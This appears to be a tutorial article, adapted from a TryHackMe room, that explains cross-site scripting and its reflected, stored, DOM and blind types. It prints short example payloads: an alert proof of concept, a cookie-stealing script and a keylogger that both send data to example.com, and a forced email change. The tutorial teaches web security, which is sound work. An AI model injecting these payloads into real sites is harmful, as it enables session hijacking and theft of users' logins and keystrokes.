Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users. In this room, you’ll learn about the different XSS types, how to create XSS payloads, how to modify your payloads to evade filters, and then end with a practical lab where you can try out your new skills.

What is Payload?

In XSS, the payload is the JavaScript code we wish to be executed on the targets computer. There are two parts to the payload, the intention and the modification.

The intention is what you wish the JavaScript to actually do (which we’ll cover with some examples below), and the modification is the changes to the code we need to make it execute as every scenario is different (more on this in the perfecting your payload task).

Here are some examples of XSS intentions.

Proof Of Concept:

This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:

<script>alert('XSS');</script>

Session Stealing:

Details of a user’s session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target’s cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker’s control to be logged. Once the hacker has these cookies, they can take over the target’s session and be logged as that user.

<script>fetch('https://example.com/steal?cookie=' + btoa(document.cookie));</script>

Key Logger:

The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker’s control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.

<script>document.onkeypress = function(e) { fetch('https://example.com/log?key=' + btoa(e.key) );}</script>

Business Logic:

This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user’s email address called user.changeEmail(). Your payload could look like this:

<script>user.changeEmail('[email protected]');</script>

Types of XSS :

  • Reflected XSS
  • Stored XSS
  • Blind XSS
  • DOM Based XSS

Reflected XSS :

Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.

The vulnerability can be used as per the scenario in the image below:

source : tryhackme.com

Stored XSS :

As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.

The vulnerability can be used as per the scenario in the image below:

source: tryhackme.com

DOM Based XSS :

DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document, and this document can be either displayed in the browser window or as the HTML source. A diagram of the HTML DOM is displayed below:

Blind XSS :

Blind XSS is similar to a stored XSS in that your payload gets stored on the website for another user to view, but in this instance, you can’t see the payload working or be able to test it against yourself first.

Example Scenario:

A website has a contact form where you can message a member of staff. The message content doesn’t get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal.

Hope you all like that article of Deep Dive in XSS.

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